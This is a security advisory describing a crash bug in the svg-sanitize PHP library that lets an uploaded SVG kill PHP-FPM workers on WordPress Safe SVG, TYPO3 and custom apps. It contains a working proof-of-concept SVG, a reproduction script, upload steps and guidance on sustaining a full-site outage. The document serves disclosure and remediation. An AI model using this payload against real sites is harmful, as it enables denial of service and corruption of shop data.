GHSA-v383-3rw5-q8rf

## Summary A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer's `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker. **Affected installations:** - **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents - **WordPress Safe SVG plugin:** 1M+ active installs - **TYPO3:** svg-sanitize integrated into core since v9 - **Drupal:** community module wrapping svg-sanitize ## Vulnerability Details ### Trigger Flow ``` Sanitizer::sanitize($malicious_svg) → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr → startClean() → cleanAttributesOnWhitelist($svgElement) → "badhref" NOT in allowedAttrs → removeAttribute("badhref") ← removes explicit attribute (safe) → stripos("badhref", "href") = TRUE → getAttribute("badhref") ← returns DTD #FIXED default value → isHrefSafeValue("javascript:x") ← returns FALSE → removeAttribute("badhref") ← hits XML_ATTRIBUTE_DECL → CRASH ``` **Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash. **Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` → `href` calls `removeAttribute()` then `setAttribute()` on the DTD default. ### WordPress Code Path ``` User uploads SVG → WordPress wp_handle_upload() → filter 'wp_handle_upload_prefilter' → SafeSvg\safe_svg::check_for_svg() [safe-svg.php:176] → SafeSvg\safe_svg::sanitize($tmp_file) [safe-svg.php:218] → enshrined\Sanitizer::sanitize($contents) [Sanitizer.php:193] → cleanAttributesOnWhitelist() → double removeAttribute → CRASH → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502 ``` ## Proof of Concept ### Malicious SVG (evil.svg) ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)"> ]> <svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100"> <rect width="100" height="100" fill="red"/> </svg> ``` ### Standalone reproduction ```php <?php require_once 'vendor/autoload.php'; $svg = file_get_contents('evil.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo "Sanitized: " . strlen($clean) . " bytes\n"; // Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134 ``` ### WordPress reproduction 1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0) 2. Login as Author → Media → Add New → upload `evil.svg` 3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed ### Confirmed output ``` $ docker exec wordpress php /tmp/test.php Sanitized: 157 bytes munmap_chunk(): invalid pointer $ echo $? 134 PHP-FPM log: [WARNING] [pool www] child 17 exited on signal 6 (SIGABRT) ``` ## Impact ### Full Site Denial of Service With `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS. ### Application State Corruption SIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce: - **Coupon bypass:** usage_count increment skipped → unlimited reuse of single-use coupons - **Stock oversell:** stock reduction not committed → multiple orders for 1-stock items - **Cron starvation:** wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely ### Attack surface Safe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`. **Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected. | Scenario | Authentication | Affected installs | |---|---|---| | WordPress (default Safe SVG) — Media upload | Author role (`upload_files` cap) | 1M+ | | WordPress — REST API `POST /wp/v2/media` | Author role | 1M+ | | WordPress — plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent | | Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads | | TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ | The strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages. ## CVSS **CVSS 3.1: 6.5 (Medium)** — default WordPress (Author role) `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` For custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N) ## Suggested Fix Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version: ```php // In Sanitizer::sanitize(), before loadXML(): $dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty); ``` ## Environment - enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0) - WordPress 6.9.4 + Safe SVG 2.4.0 - PHP 8.3.24 (fpm), NTS, x86_64 - nginx + PHP-FPM (Docker) **Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/) Denis Rostilov**